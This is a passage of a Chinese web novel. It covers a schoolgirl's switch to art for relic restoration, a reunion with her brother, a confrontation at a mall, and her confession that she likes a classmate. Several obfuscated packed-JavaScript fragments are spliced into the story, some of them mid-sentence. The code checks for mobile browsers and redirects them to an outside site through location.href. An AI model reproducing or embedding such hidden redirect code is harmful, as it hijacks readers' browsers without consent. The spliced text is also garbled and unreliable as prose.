她自以为理解妈妈。 所以未曾对妈妈说出口的话,正是将她自己牢牢锁在江河之下的理由。 “江河之下......”顾橖河低声重复了一遍这四个字,语气辨不出情绪。 “嗯。” 江随意眨了眨眼睛,将眼底那点湿意逼退,声音恢复如初,甚至带上了一点轻快的笑意。 “所以,现在钥匙转开了,感觉还挺不错的。”她微微仰起脸,任由夜风袭来,仿佛真的挣脱了某种无形的束缚。 “你呢?”她忽然转过头,笑着问。 “顾橖河,你有没有想去的大学?” 顾橖河不再看她,目光投向远处的江面,灯火在河面上碎成粼粼波光。他的声音比夜风更轻:“也在京州。” 江随意没有意外:“确实,你的成绩去那也正常。我本来也考虑过省内的美院,毕竟咱们的传统就是不出省,留在H市还能晋升为一级大孝子。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869371|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她逗着乐,紧接着话锋一转:“可是吧......” “我想去看看外面。” “反正江河县是家,我随时都能回来。” “嗯。”他点头。 “那你想报什么专业?” “历史。” 这倒让江随意有些惊讶,她转过来,正对上顾橖河的眼睛。 但她没有问缘由,只是问:“那我们算不算殊途同归?” “或许吧。江河县太小了,走出去才能看清更多。” “我没研究过,你要是读历史,会不会有选科限制?话说你怎么就选了生政物呢?” “你不也是现在才找到方向吗?” 顾橖河继续说:“前几届暂时没有,或者走强基应该也可以。” 底下突然爆出一阵欢呼,有人投进了三分球。喧嚣声里,两人默契的没有再讲话。 “走吧。再待下去要着凉了。” 顾橖河自然地往楼梯口迈了一步,又停下等她。 下去后,走廊的灯光打下来将两人的影子拉长,方才的夜风与几颗星星都被留在了平台上。 回到宿舍,周望玥正顶着一头湿漉漉的头发,拿着吹风机从寝室出来,一眼就瞧见了江随意。 她故意拖长了调子,意有所指地“哟”了一声。 江随意笑着:“洗完头了还浇不灭你那熊熊燃烧的八卦之火吗?” “洗头是没办法。”周望玥另一只手捂着胸口,“但你这冷漠敷衍的态度确实给我泼了一盆冷水,这颗热烈的心都要碎成二维码了,拼都拼不起来。” “你又戏精上身了?”陈诺刚从洗衣房收完衣服回来。 “诺诺,你怎么说话的。” 陈诺抖了抖衣服挂上衣架,回道:“将来你要是出道做演员,我肯定是你的死忠粉,咱就说说这演技,放眼娱乐圈没谁了。” 说得那叫一个真情实意。 周望玥一甩湿哒哒的头发,踩着步子走向插口处,傲娇道:“回去就给你签名,不用谢,初代粉丝福利。” 江随意和陈诺相互对视一眼,摇头笑了笑。 寝室内,程瑶正坐在床上看书,看江随意回来了也没有多问,只是提醒她:“热水快没了,你再不去洗,等会儿熄灯后就要洗冷水澡了。” 江随意点点头,去卫生间洗了个苹果啃着,然后又去找自己的衣服。进去之前,她又回过头问:“阿瑶,你有没有想过之后报什么大学?” 程瑶合上书页,手在封面上轻轻摩挲了一下。 “你呢?” 江随意啃苹果的动作慢了下来。 “京州美院。” 程瑶没说话,江随意当她是还没想那么多,就不再问了。 洗完出来时,寝室已经熄灯了。只有几盏小台灯还亮着,在各自的床铺上投下一小片光晕。 周望玥正盘腿坐在床上,接过陈诺递来的零食,书本翻开又合上,怒骂一句:“这么长的文章是给人背的吗?” 江随意把衣服扔进桶里,准备明天去洗,然后上床:“赶紧歇下吧,公主殿下。” “不行啊,陈姐又要随机抽人,就我这狗屎运气,我赌明天第一个肯定又是我。” 周望玥拿书往脸上一盖。 “这知识它咋就是不进脑呢。” 36. 再相见 第二天早自习刚结束,江随意就被陈老师叫到了办公室。 “过来了啊。” 陈老师把作业本往旁边挪了挪,打开保温杯喝了一口。“你的申请学校批下来了。考虑你情况特殊,课表上做了一些调整,班级的话暂时不好转过去。” 江随意点点头,她也没有想过要调到美术班去。 陈老师抽出一张打印好的纸推过来:“喏,这是你的新时间表。接下来一、三、五的晚自习,还有周五下午最后两节课,你可以先不上了,直接去艺体楼一楼画室报到。那边已经协调好了,会有专门的老师指导你们这几个转艺术方向的学生。” 江随意接过那张薄薄的纸,目光扫过那些被特意标注出来的空白时段。 “还有人也在这时候转美术吗?” “有啊,只是像你这个成绩比较少而已。好好加油吧!” “谢谢老师,麻烦您了。” 陈老师摆摆手,神情认真地说:“转艺考生不等于放松文化课。挪出来的时间,你得在专业课上加倍找补回来,两头都不能掉链子。文化课是你的基本盘,万一之后有什么问题,我们还能报常规志愿。” 她停了一下,又继续说:“当然老师也不是在打击你,就是两手准备嘛。” “我明白。” “那先回去吧,中午吃完饭去一趟画室,见一下老师。” “嗯。” 午后的阳光正好,江随意轻轻推开画室的门。 阳光透过高大的窗户斜射进来,在地上投下大片明亮的光斑。画室很宽敞,靠墙堆放着画架和石膏像。 几个穿着校服的学生散落在各处,对江随意的到来也只是抬头看了一眼。 一个穿着米色针织开衫的年轻女老师闻声转过头,长发松松挽起,笑容温煦:“是江随意吧?主任那边已经跟我打过招呼了。我姓林,以后负责带你们几个。” “林老师好。” 林老师引着她往里走,声音温柔:“以前接触过吗?” 江随意打量着周围的东西,回答道:“素描和色彩都学过,从小学开始的,但是上高中之后就没有继续了,现在可能有点手生了。” “哦?那基础应该挺扎实的吧。不过一年多没画,手生也是正常的。没关系,慢慢找感觉就好。”她带着江随意走到靠窗一个空着的画架边上,“喏,位置给你留在这儿,旁边的东西都可以用。” 林老师又指了指靠着墙的一张长桌,上面摆放着一些瓶瓶罐罐和水果。 “那边静物台上东西不少,挑个顺眼的试试笔。” 江随意依言走过去,目光扫过那些熟悉的静物模型。 支开折叠画架,夹上新的素描纸。 午后的阳光从窗外照进,慷慨地洒在她身上,勾勒出少女专注的侧影。 铅笔划过纸面,从最初的迟疑,渐渐变得流畅起来。那些沉睡在指尖的记忆,在笔与纸张的摩擦中一点点苏醒。 林老师走到她身后,安静地看着。直到江随意停下笔,轻轻舒了口气,她才微笑着开口:“这么久没画了,能找回这个手感,已经很不错了。” 江随意有些不好意思地放下笔。 “不过,”林老师走近一步,手指轻轻点在画纸上陶罐的暗部边缘,“这个地方,反光可以再大胆一点提亮,质感会更突出。还有橘子的高光,位置可以再精准些,这样体积感更强。” “你的手还是有点紧,线条的虚实变化可以更自然些。” 她说着,极其自然地微微俯身,一只温暖的手覆在江随意握着铅笔的手背上。 “手腕放松。”林老师的声音就在她耳畔,“看这里,笔尖侧过来一点,用长线条带过去,对了,就这样,轻轻扫过去。” 江随意屏住呼吸,感受着那只覆在自己手上的手传递过来的牵引力。 笔尖在纸上轻盈地滑过,原本略显生硬的线条变得松弛,陶罐侧面的反光区域被几笔干净利落的亮线提了出来,整个形体瞬间显得更加饱满立体。 “能明白吗?”林老师松开手,直起身,笑意更深,“线条是活的,多练练,很快就能找回感觉的。” 画室里的时光被阳光浸泡着,流淌得格外静谧。 接连几个中午和晚上,江随意都准时出现在画室。生疏感在日复一日的线条堆叠中悄然褪去。画室里几个同样是文化生转艺考的同学也和她渐渐熟络起来,有时会互相看看画,简短交流几句。 周五晚自习结束的铃声响起,画室里只剩下江随意和一个还在收拾颜料的同学。 “随意,我先走了啊。”她拎起画箱,“你走的时候记得锁门,钥匙放在门框上就行。” “好,知道啦,拜拜。”江随意应着,正低头收拾自己散落一地的素描稿。 脚步声靠近,是林老师。 她手里拿着一瓶水,站在江随意身边,看着她整理好的几张新练习稿,微微点头:“进步很快,手感找回来不少。” 江随意抬起头:“谢谢林老师。” “跟你商量个事,”林老师喝了口水,问她:“你这个寒假有什么特别的安排吗?” 江随意摇摇头:“暂时没有,怎么了嘛?” “是这样,”林老师把水放到桌上,“你打算考的是文物修复方向,这个专业比较特殊,常规的考前画室集训,针对性未必那么强。” “正好,我有个关系很好的大学同学,在京州开工作室,主攻方向就是传统书画修复和材料研究,也带一些有这方面意向的学生,小班教学,专业性很强。” 她看着江随意,继续道:“寒假时间不长,但去体验一下,接触一下那边的老师和资源,之后集训如果能留在那边,对你的帮助会大一些。怎么样,有没有兴趣去京州看看?” 京州? “真的可以吗?”江随意的眼睛瞬间亮了起来,随即又有些犹豫,“会不会太麻烦您同学了?” “放心,我跟她说过了,她也很欢迎有兴趣的学生过去交流学习。”林老师笑着拍拍她的肩,“不急着答复,回去跟家里商量商量,想好了告诉我。” 也许是忙碌起来,时间便过得更快了。 周六中午放学,江随意刚把这几天没写的各科练习放进书包,拉链才拉到一半,就听见林一娢在门口大喊:“意意,门口有人找你。” 她抬起头。 林一娢进来时还对着她挑眉:“哇哦,帅哥诶,看样子还是A中的。” A中? 江随意朝门口看去。 逆着走廊里涌动的人流光影,江随和穿着校服站在教室门口。利落的短发,眉眼轮廓与她有几分相似,只是线条更硬朗些。 见江随意看过来,他弯了下眸子。 “意意。” “哥!”巨大的惊喜瞬间涌上心头,江随意也顾不上把书包拉链拉严实,直接往肩上一甩,拨开挡路的椅子就朝门口冲去。 林一娢搭着周望玥的肩,惊讶地说:“是她哥啊?” 周望玥:“他俩难道长得不像吗?” 林一娢:“刚开始没觉着,现在这么一看,是还挺像的。亲生的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874331|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周望玥点头:“嗯,长大了确实有点不一样了,但意意之前给我看过他们小时候的照片,那是真像。” 而在江随意喊出来的时候,顾橖河手里的动作一滞,迟疑几秒后才抬头看向前门。 “江随和,你怎么过来了?A中今天这么早放人的吗?”江随意激动地跑到哥哥面前,毫不客气地一拳轻轻捶在他胳膊上。 江随和被她撞得微微后仰了一下,顺势抬手揉了揉她的头发,动作熟稔又带着点嫌弃:“大半个月没见,怎么咋咋呼呼的。这周末高三模考布置场地,好几所学校打乱着考,其他年级第一节课结束就放了。正好妈妈说今天要来接你,我就跟着一块来了。” “那妈妈人呢?” “接了个电话,现在应该在车里等着。” 他说话间,眼睛扫过江随意的身后。 “你的东西都收拾好......” 话还没说完,江随和的目光落在那道清瘦的身影上。 “那你先等一下,我突然想起来水杯忘了拿。” 江随意转过身,脸上兴奋的笑意还没褪去,猝不及防地与来人打了个照面,脚步下意识顿住。 是顾橖河。 他的视线落在江随和身上。 空气似乎凝滞了一瞬。 “能先让一下吗?”有同学背着书包想要出去。 江随意和顾橖河都往一边侧了下身子。 但空气里那种微妙感并未完全消散,反而因为两人之间的沉默和无声对视变得更加粘稠。 江随意的眼神在他俩之间来回扫着。 莫名有点紧张是怎么回事。 最后是江随和向前走了一步,站在了顾橖河面前,重新扬起笑。 “好久不见,阿橖。” 顾橖河微微抿唇,极轻地点了下头。他简单地应道,语气平淡得听不出情绪。 “好久不见。” 江随和似乎并不在意,依旧笑着,手上接过江随意的书包,拍拍她:“先去拿东西吧。” 江随意三步两回头,听见她哥问:“好友能再加回来吗?” !!! 这算什么?老友重逢吗? 就见顾橖河垂下的手动了一下。 他点点头。 周望玥:“这是个什么情况啊?” 有些事情江随意也不太好讲,只是一摊手,摇摇头道:“我哥和顾橖河初中是同班同学。” 江随意聊了几句,拿完东西出来时,顾橖河已经走了。 “拿个水杯要这么久?”江随和把她手里的杯子也拿了过来,放进书包侧边的口袋。 江随意:“那不是给你们点时间聊一聊嘛。” “那我是不是还要谢谢你啊?” 江随意哼了一声,大步往前走。 “谁知道你是真的来接我,还是来看老朋友的。” “不是,”江随和被她逗笑了,“那我下回不来了可以吗?省的你说我是为了见别人。” 江随意转身朝他做了个鬼脸。 “不行。” 江随和上前一步,抓着她的手放下。 “别弄了,等会儿真变丑了有你哭的。走了走了,妈妈还等着呢。” “可以去一趟老街的炒货店吗?我想吃桔红糕和芝麻糖。” “都可以,顺便还要去接星星。” “爸爸和程姨不在家吗?” “有个阿公过寿,他们去吃酒了。” 太阳高悬,但并没有很热,兄妹俩聊着天走出校门,身影融在阳光里。 37. 平日里 “妈妈。”刚走到停车场,江随意立刻奔向叶桐的车。 叶桐握着手机,瞧见迎面走来的一双儿女,向他们招了招手,然后朝电话那头说:“先这样吧,其他的等晚上我回去再处理。” 江随和看着眼前这一幕,嘴角轻轻扬了一下。 看来他不在的这段时间里,确实发生了不少事。 叶桐张开手臂抱了抱江随意。 “先上车吧。” “妈。”江随和简单打了个招呼。 车子启动后,叶桐问道:“有没有什么想吃的?一会儿接完星星后再送你们回你爸那。” 江随意:“可爸爸他们不是不在家吗?” 叶桐:“应该晚上就回来了,我六点多还有个会要开。” “好吧。反正我刚好也想去吃北江老街的粉店,还想买桔红糕和芝麻糖呢,而且那儿离星星的补习班也挺近的。” “阿和呢?” 不等江随和开口,江随意抢着说:“哥哥他也要吃猪脏粉。” 江随和伸手把她拉回座位坐好,对叶桐道:“随她,我都可以。” 他忽然又想起妹妹之前发的消息,问道:“你怎么会突然想去学文物修复?” “上次从徽州回来我不就跟你说了嘛,我对文物修复还挺感兴趣的。”江随意瘪瘪嘴,“你没仔细听我说话?” 江随和:“那不一样,兴趣是一回事,你真想好了?” “嗯。” “妈妈呢?”江随意能这么直接说出来,叶桐想必是同意了,但江随和还是追问了一句。 叶桐回了他刚才那句话:“随她。” 江随和有些意外:“那你看好什么学校了吗?” “京州美院。” 江随意紧接着问他:“那你呢?有没有想好考什么学校专业?” 正好遇上红绿灯,车子缓缓停下,叶桐也从后视镜望向后座,似乎也在等着江随和的答案。 江随和打趣道:“你都要跑去京州了,我还是在省内待着吧,家里总要有个人做孝子的。” “说正经的。” 江随意轻轻踢了他一下。 江随和浅笑,语气却很认真:“学医。” 江随意一愣,就连叶桐也没有想到。 “医学生好苦啊,阿连叔家的姐姐不就是学医的,听说现在临床实习累到崩溃。”江随意扯了扯她哥的校服袖子,劝道:“我真怕过两年见你已经没几根头发了,直接成为患者信任的模样。” 江随和从兜里掏出一颗糖,剥开塞进妹妹嘴里。 “念点我好,行不行?” 江随意把糖咬碎,嘟囔着:“说真的呐。” 江随和掐了下她的脸,开玩笑道:“你自己不也半斤八两?那么多事能干,偏学什么文物修复,我看你去造假更有钱途。” “什么钱途?进去吃铁饭碗的钱途吗?”江随意拍掉他的手。 叶桐在前面听着兄妹俩斗嘴,忍不住笑,插了句嘴:“你俩要真是学成了,也算是搭边儿了。” “一个救人命,一个修古物。” 江随意把嘴里的糖咽下去。 “哦?那又是殊途同归了?” 江随和:“什么叫又是?” 江随意想着刚才他和顾橖河那样子,犹豫一下,还是说了出来。 “顾橖河准备学历史,不和我差不多是一条道上的吗?” “他要学历史?”江随和有些意外,“他自己跟你说的?” 江随意点点头。 “你俩现在关系看起来还挺不错的。” 叶桐在前面听着:“阿和也认识他?” “嗯,我和阿橖初中是同班同学......”江随和才反应过来,“妈妈是怎么知道他的?” 叶桐挑眉笑了一下。 “意意没有和你说啊?” “妈妈!”江随意立刻叫住她。 “江随意同学,你还有什么瞒着我啊?果然是孩子长大了。” “你也就早我几分钟......好啦好啦,回家再和你说。” 车停在医院附近的停车场里,步行至老街也不过十分钟。 刚入老街口,空气里已经飘荡着一种熟悉又热闹的气息。 “到了到了。”江随意熟门熟路地推开一扇玻璃门,门上挂着褪色的“猪脏粉”招牌。 一股浓烈而直接的热气扑面而来,混合着浓郁的骨头汤香。小小的店面挤满了人,几张方桌旁坐满了埋头吸溜的食客。 没多久,三碗热气腾腾的猪脏粉端了上来。粗圆的米粉浸在酱色的汤底里,油光发亮。顶上铺着厚厚一层切成段的猪肠,煮得软糯,呈现出诱人的酱红色,肥厚的部分透着亮。 几块鲜红的猪血点缀其间,嫩滑得似乎一碰就要碎。切得细细的蒜苗碎洒在最上面,还有几粒炸得焦黄的蒜末。 汤面上浮着点点金黄的油花,香气直往鼻子里钻。 江随意迫不及待地挑起一筷子米粉,吹了吹,吸溜进嘴,满足地眯起眼:“好舒服啊,冬天就应该吃这个。” 江随和没说话,只是专注地吃着。 老板又送过来一小碟自家腌的酸萝卜,脆生生的,正好解腻。 “阿和,你刚才说学医,是认真的?”叶桐边吃边问,话题又绕了回来。 “嗯。”江随和咽下嘴里的粉,“想试试。” “哥,你考虑清楚啊,那可是五年起步,还要什么规培,累得很。”江随意嘴里塞着食物,含糊不清地说。 “做什么不累?你修文物不也得耐着性子坐冷板凳?”江随和瞥她一眼,“弄坏一件,把你卖了都赔不起。” “呸呸呸,你少咒我。”江随意瞪他,又转向叶桐,“妈妈,你看我哥。” “吃你的粉。”江随和用筷子轻轻敲了下她的碗沿。 叶桐笑了笑:“行了,只要你们自己想好了就行,妈妈没意见。”她顿了顿,“不过你和你爸提过了吗?” “还没,今天回去和他们聊一下。” 吃完粉,身上暖烘烘的。 江随意擦擦嘴,拉着江随和又跑进了隔壁的炒货店。 铺子向外延伸出一个小摊,各种糖果点心被装在油皮纸袋里,散发着甜香的气味。 “老板,桔红糕一盒,芝麻糖再给我称一点。”江随意掰碎一块芝麻糖,一半放进自己嘴里,一半递给江随和。 老板本来躺在藤椅上,正眯着眼晒太阳,见来生意了又起身麻利地称重包装。 桔红糕是小小的方块,糯米粉裹着细细的糖霜,中间透着淡淡的橘红。软软糯糯的,又带着米香,里面还加了薄荷,吃完嘴里冰冰凉凉的。 而芝麻糖则是薄薄的一片,炒得微黄的花生和黑芝麻被糖浆紧紧粘合,看上去酥脆可口。 江随意往里走了几步,又看见一些花生酥,金黄色的酥皮裹着花生碎粒。 她又指着台上两样。 “花生酥也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880928|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点,还有那个鸡蛋仔饼干,给我拿两袋。” 鸡蛋仔饼干则是一个个焦糖色的小圆饼,背面有制作时留下的小小气孔,光是闻着就有甜甜的鸡蛋香。 江随和看着妹妹手里迅速多出来的几个袋子,忍不住开口:“你这是来进年货的?” 江随意拎着袋子,笑嘻嘻地:“都已经十二月啦,再有一个多月不就过年了吗?提前准备一点小零食嘛。” 叶桐付完钱,看了看手表:“走吧,星星快下课了。” 补习班在一栋老居民楼里,车子刚开到楼下,停稳没多久,就听见楼上窗户口有人大喊:“我哥哥姐姐来接我啦,我先走了。” 还没等他们上楼,江随星就已经背着大大的书包冲了下来,手里举着一个彩色的小风车,呼啦啦转得飞快。 “哥,阿姐!”他声音清脆,跑到跟前,又看到叶桐,乖巧地喊了声:“阿姨好。”然后献宝似的举起风车:“姐你快看,这是我今天用积分换的,是不是特别漂亮?” “真漂亮啊。”江随意笑着捏了捏弟弟的脸,顺手把刚买的炒货袋子塞到他怀里,“你这么厉害用积分换的啊,喏,奖励你好吃的。” 江随星把风车夹到胳膊下,迫不及待地打开袋子:“今天真是太幸福了~” 他兴奋地上车,挤在哥哥姐姐中间,小手已经摸向装着鸡蛋仔的袋子。 江随星嘴不停地塞着饼干,起初还叽叽喳喳说着中午吃了什么,今天又学了什么以及他还剩下好多积分等期末换大奖。 但没过多久,咀嚼的速度越来越慢,小脑袋一点一点,呼吸变得均匀绵长,最终靠在江随意的手臂上睡着了,怀里还紧紧抱着那袋鸡蛋仔。 彩色的风车滑落在江随星腿边,江随和伸手帮他捡起来卡在书包上。 “总算清净了,不然耳朵都要起茧子。” 江随意低头看着弟弟熟睡的脸,嘴角不自觉地上扬,手指轻轻拨弄着他额前的碎发。 距离北江的家不远,没多久就到了。和叶桐说再见后,兄妹俩拎着大包小包上楼,身后还跟着一个迷迷糊糊差点撞玻璃门上的江随星。 “老爸说他们估计要八九点才回来,到时候晚饭要我们自己解决。”江随和接完电话,“你俩晚上想吃点什么吗?” 江随意摆摆手,进了卫生间。 “我等会儿收拾一下出去吃,前天阿瑶过生日,我们寝室几个人约在今晚出去吃一顿。” 程瑶因为家里的关系,比她们都晚上一年学。平常她也不爱过这些,但这回正好是十八周岁生日。 虽然程瑶并不清楚自己具体是哪一天生的,但至少现在在法律意义上,她已经成年了。这也意味着,她可以不再被名义上的父母所控。 “去哪儿吃?”江随星还在捣鼓他的风车应该放在哪里,听见姐姐说要出去,立马凑了过来,“我也可以跟着吗?” “不行,你去凑什么热闹。”她洗完手出来,又去厨房拿干净的袋子,拆开刚买的吃的装上一部分。 “阿姐回来给你带玩具。” “好吧。”江随星打开电视,人躺在沙发上,脚却翘在茶几上。 江随和见状,拍了下他的头说:“哪儿学的,把脚放下来。”然后又转头看向江随意,“去安和路吗?” “不然呢,咱这小地方也就那两个商场来回溜达,安和近一些,坐公交直达。” 江随意把东西装好,又去房间拿出早早准备好的礼物,一起放进包里。 38. 喜欢谁 快要回去时,江随意提前给她哥发了消息。 江随和按照定位到的时候,程瑶与周望玥正在和面前的两个人吵架。 对方一个女生腰间还系着A中国际部的校服外套。 “江随意她算什么?”校服女生声音拔高,似乎很不屑,“竞赛都退了,现在又跑去学什么画画,折腾来折腾去,装得自己有多厉害似的。” 程瑶的脸瞬间涨得通红:“她退不退竞赛,学不学美术,都是她自己的选择。轮得到你在这里指手画脚?都不在一个学校了还那么关注人家,你贱得慌是吗?” “我说她碍着你什么了?”另一个女生抱着胳膊,“你也就江随意的狗腿子,真是出息了。” “闭嘴!”周望玥原本还在震惊程瑶竟然说脏话,但见对方越来越过分,她的火气一下子就上来了,往前一步挡在程瑶前面,“狗嘴里吐不出象牙是吗?” “哟,又来一个护主的。”校服女生嗤笑一声。 “嘴巴不要的话可以缝上。” 江随和拨开几个看热闹的路人,几步就走到了她们之间。他个子高,目光沉沉地扫过那两个女生,最后落在程瑶和周望玥身上,眉头微微皱了一下。 “江随和?”校服女生显然认识他,语气不善,“你什么意思?用得着你多管闲事?” 江随和没理她,问程瑶:“意意呢?” 程瑶:“和陈诺去上厕所了。” 江随和重新看向那两个女生,面上没有表情:“你在这里说我妹妹,还问我什么意思?” 两个女生同时一愣。 江随和?江随意? 她们的目光在江随和与程瑶之间飞快地扫了一下,像是突然被点醒,意识到了什么,表情顿时变得有些难看。 校服女生张了张嘴,似乎还想说什么,但接触到江随和不善的眼神,终究没敢再出声。她狠狠地瞪了程瑶一眼,拉着同伴转身就走。 “A中国际部的?”江随和看着她们消失在拐角的背影,“你们认识?” “嗯。”程瑶应道,“初中一个班的。” “关系不好?”江随和追问,眉头皱得更紧。 意意初二刚转回南江那会儿,一开始是有点沉默,他还以为是不太适应所以状态不好。后来和程瑶她们玩在一起,似乎也就好了。 周望玥也接了一句,声音里还带着气:“对啊,刚才好好的,迎面就碰上那两个女的,然后她们就阴阳怪气起来。我都没反应过来呢,阿瑶就跟她们吵上了。” 她转向程瑶,一脸不可思议。 “她们说话也真够难听的。不过我以前都不知道你居然还会骂人,是有什么矛盾嘛?” 程瑶一向是她们四个里情绪最稳定的,周望玥还没见过她和谁红过脸。 程瑶沉默了几秒钟,声音压得很低:“意意初二刚转来的那段时间,她们传过一些很难听的话。”她顿了顿,补充道,“张晓静和她们关系也不好,上A中后好像也闹过次。” 周望玥:“这都什么人嘛,果然再好学校也只能筛选成绩过滤不了人渣。” 张晓静? 江随和对这个名字有印象的。前段时间有个学生跳江,虽然这件事情最后被压下来了,但都是A中的,加上是妹妹以前关系比较好的同学,他也有多留意一下。 只是回来以后,爸妈还有程姨再三叮嘱不要在意意面前提起这件事,江随和也就没有多问了。毕竟是同学,又是最后见面的人,多少是会受到影响的。 可程瑶的话,让江随和意识到自己以前可能忽略了什么。 一些很难听的话,指的是什么? 也许意意这次反应那么大,不仅仅是因为张晓静跳江。 想到还有另一种可能,江随和的脸色沉得可怕,眼神紧紧盯住程瑶:“她们两个叫什么名字?” 程瑶嘴唇动了动,刚要开口就被打断了。 “江随和~” 江随意和陈诺正从洗手间的方向走过来。 她似乎洗了把脸,上面还沾着点水珠,额发微湿,看见江随和站在前面,开心地小跑过来。 江随和收起不悦,转过身时神色如常,甚至嘴角习惯性地往上牵了一下,朝江随意招招手:“都好了?那我们回家吧。” “好啦。”江随意几步跑到跟前,又对周望玥和程瑶晃了晃手机,“回去不要忘了把照片发到群里。哦对了,你们是要怎么回去?” 周望玥:“我爸来接,现在估计已经在楼下等了。” 陈诺牵住程瑶说:“阿瑶今晚住我家,我爸的车应该也快到了。” “行,那我们走啦。”江随意笑着摆摆手,又特意对程瑶眨眨眼,“阿瑶,生日快乐哦!记得每天都要开心!” 程瑶扬起笑:“嗯,路上小心,到了发个消息。” “好嘞。” 一踏出商场,冷风直灌进衣服里。 “哥,你说今年冬天会下雪吗?” 江随意把拉链拉到底,脖子往里缩了缩。 “会吧,去年不就下过。” “可去年是人造雪,我印象里咱们这儿下雪的次数屈指可数。” “你想看雪的话,那今年寒假我们去北方过。” “也不是不可以。” 这个点商场里也差不多要散了,公交站前已经有不少人等着了。 江随意搓了搓凉手,往哥哥身边靠了靠。 “好冷啊,这公交车怎么还不来?” 她又絮絮叨叨说了一堆,可江随和却只是沉默地看着前方的车流。 “哥?”江随意察觉到对方似乎心情不好,歪头看他,“你怎么了?刚才我就想问了,你看起来好像不太高兴。” 江随和还处于既生气又心疼的状态中,没有吭声。 而江随意回想了这一天发生的事情,然后理解错了。她有点心虚地摸了摸鼻子,声音低了下去:“哎呀,是不是因为我没跟你说顾橖河的事啊?” 她扯扯江随和的袖子,又继续说:“我又不是故意瞒你的,就是还没找着机会说嘛。” 江随和终于侧过头看她。 妹妹仰着脸,眼神干净,带着点被抓包的懊恼和急于解释的坦诚。 他正要开口,下一班公交车的灯光出现在路口,人群开始骚动。 江随意一急,也顾不上旁边是否有人听见,踮脚凑到江随和耳边,飞快丢下一句:“哥,我喜欢上了顾橖河。” 江随和脑子里还在想刚才的事情,压根没时间去思考江随意说的话,只是像往常一样由着她:“喜欢就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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倒也不是被吓到,江随和只是从未想过有一天自己的妹妹会跟他说喜欢上了顾橖河。 “你不是以前老想压过他吗?怎么现在忽然就喜欢上了。” 江随和不理解。 说到以前,江随意还不乐意了。 “还说呢,明明你和他是同班同学都不跟我讲,每次看我和他较劲很开心?” 江随和一时语塞。 哪里是他不想说,只是那时候江随意听到这个名字就准备刷题。 “这么突然吗?” “也不突然啊,就算不说以前,他来南江也快一个学期了。” “你的意思是你喜欢他快一个学期了?” 原谅江随和,他现在的脑子已经没有办法思考了。 江随意:“......” 她咬牙切齿:“我说最近!最近才发现自己喜欢上的。” 哪里有一个学期这么久。 “老爸知道吗?” 江随意摇头。 “那你接下来打算怎么办?你还要准备艺考,别因为这事儿影响自己。” “倒是不影响我,我就怕我忍不住打扰顾橖河。我现在和他说两句话,心跳就加速。” 面对妹妹的坦诚,江随和说不上来是什么心情,白菜被猪拱了的比喻放在这里并不恰当。因为现在看起来,他妹才是要拱白菜的那个。 39. 一场雪 画室里的门窗被紧紧关上,隔绝了外面凛冽的寒冬。 江随意的眼前是一个复杂得有些刁钻的石膏组合。 “放假前加个餐,再练练。”林老师带着笑意的声音自身后传来,“暗部不是死黑一团,找找反光,空气要透进去。特别是下巴底下那块阴影,压得太死了,石膏的硬质感和重量感反而出不来。” 江随意闻言,手腕松了松力道。她仔细观察那片深重的阴影区域,侧锋轻轻扫过,笔尖在纸面留下几道极淡的灰调子。 “这就对了。” 林老师赞许地点头,目光扫过她画板上夹着的几张近期的练习稿。 “越来越稳了。寒假去京州的话,那边节奏更快,要求也高,不过以你现在这个状态,应该是没问题的。” 江随意弯起眼睛笑着,心里竟开始期待起来。 时间在笔下流逝得飞快,转眼间就已经是期末。 江随意刚把最后的几件衣服收起来放进行李箱里,就有人敲了敲寝室的门。 “爸爸?”江随意打开门,有些意外,“妈妈不是说今天她来接吗?” 江渐明穿着一件深灰色的大衣,身上还带着点寒气。他在略显凌乱的寝室里扫了一圈,最后落在女儿身上。 “你妈临时要去见个客户。”他伸手就接过了江随意手里行李箱,“你室友呢?” “把东西拿楼下去了。” 江渐明点点头,又问:“还有吗?” “这个包,然后还有个画箱在画室没拿,等一会儿我过去拿。”江随意指了指自己的书包。 江渐明二话不说,直接提起行李箱和书包。 “那我先把这些拿下去了。” 等江渐明再回来时,寝室里几个女孩子正抱在一起,旁边站了几个大人。 “哦哟,又不是见不到了,放假也能出来玩嘛。” “小孩之间感情好。” 俩大人正在打趣,江渐明笑了笑,对几个女孩子说:“放假了都注意安全。” “好的叔叔。” 周望玥抱着江随意不肯撒手。 “好舍不得,二十多天呢。” “行了,等我京州回来给你带特产。”江随意拍拍她的背。 “嘿嘿,意意最好了,群里见。” “走了,拜拜。” “叔叔阿姨再见。” 